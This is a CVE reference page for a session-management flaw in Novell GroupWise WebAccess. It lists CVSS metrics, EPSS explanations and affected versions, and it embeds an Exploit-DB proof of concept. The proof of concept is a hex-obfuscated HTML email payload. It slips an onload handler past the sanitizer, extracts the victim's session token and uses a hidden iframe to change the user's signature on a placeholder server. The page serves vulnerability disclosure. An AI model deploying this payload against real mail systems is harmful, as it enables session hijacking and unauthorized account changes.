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CVE Descriptions
The WebAccess component in Novell GroupWise 7.x before 7.03 HP3 and 8.x before 8.0 HP2 does not properly implement session management mechanisms, which allows remote attackers to gain access to user accounts via unspecified vectors.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 33007
Publication date : 2009-05-20 22h00 +00:00
Author : Gregory Duchemin
EDB Verified : Yes
source: https://www.securityfocus.com/bid/35066/info
Novell GroupWise WebAccess is prone to multiple security vulnerabilities.
An attacker may leverage these issues to bypass certain security restrictions or conduct cross-site scripting attacks.
Note that some of the issues may be related to BID 35061. We will update this BID as more information emerges.
Versions prior to WebAccess 7.03 HP3 and 8.0.0 HP2 are vulnerable.
Following harmless code uses an onload() event handler to bootstrap its payload as soon as the email
is open.
The first stage of this script extracts the session token (User.Context) from within the current
document's URI and used
to make up the second stage.
The second injects an iframe in the current page which in turn calls the signature configuration
interface and changes the user's signature on the fly.
This example uses a fake target, 'gwwa.victim.com' that must be changed with a real server
addresss/name.
Here, the security parser won't recognize "onload = 'javascript:..." as potentially unsafe just
because of the space characters.
<!--
<html>
<head>
</head>
<body onmouseover = 'return false;' onload = 'javascript:var
context=document.location.href;var token=context.replace(/^.+context=([a-z0-9]+).+$/i,"$1");
var
malwareS1="%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%62%72%2F%3E%3C%62%72%2F%3E%4E%6F%77%20%63%68%65%63%6B%20%79%6F%75%72%20%73%69%67%6E%61%74%75%72%65%20%2E%2E%2E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%77%77%61%2E%76%69%63%74%69%6D%2E%63%6F%6D%2F%67%77%2F%77%65%62%61%63%63%3F%55%73%65%72%2E%63%6F%6E%74%65%78%74%3D";
var
malwareS2="%26%61%63%74%69%6F%6E%3D%53%69%67%6E%61%74%75%72%65%2E%4D%6F%64%69%66%79%26%6D%65%72%67%65%3D%73%69%67%6E%61%74%75%72%26%53%69%67%6E%61%74%75%72%65%2E%69%73%45%6E%61%62%6C%65%64%3D%65%6E%61%62%6C%65%64%26%53%69%67%6E%61%74%75%72%65%2E%69%73%41%75%74%6F%6D%61%74%69%63%3D%61%75%74%6F%6D%61%74%69%63%26%53%69%67%6E%61%74%75%72%65%2E%73%69%67%6E%61%74%75%72%65%3D%25%32%30%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%25%30%64%25%30%61%25%30%64%25%30%61%30%77%6E%65%64%2E%22%20%77%69%64%74%68%3D%30%70%78%20%68%65%69%67%68%74%3D%30%70%78%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E";
document.write(unescape(malwareS1)+token+unescape(malwareS2));return false;'>
<br/>
<br/><br/>Now check your signature ...
</body>
</html>
-->
Products Mentioned
Configuraton 0
Novell>>Groupwise >> Version 7.0
- Novell>>Groupwise >> Version 7.0 (Open CPE detail)
Novell>>Groupwise >> Version 7.0.0
Novell>>Groupwise >> Version 7.0.0
Novell>>Groupwise >> Version 7.0.2
Novell>>Groupwise >> Version 7.0.3
- Novell>>Groupwise >> Version 7.0.3 (Open CPE detail)
- Novell>>Groupwise >> Version 7.0.3 (Open CPE detail)
Novell>>Groupwise >> Version 7.03
Novell>>Groupwise >> Version 7.03
- Novell>>Groupwise >> Version 7.03 (Open CPE detail)
Novell>>Groupwise >> Version 8.0
- Novell>>Groupwise >> Version 8.0 (Open CPE detail)
Novell>>Groupwise >> Version 8.0
References
http://www.novell.com/support/viewContent.do?externalId=7003266&sliceId=1
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
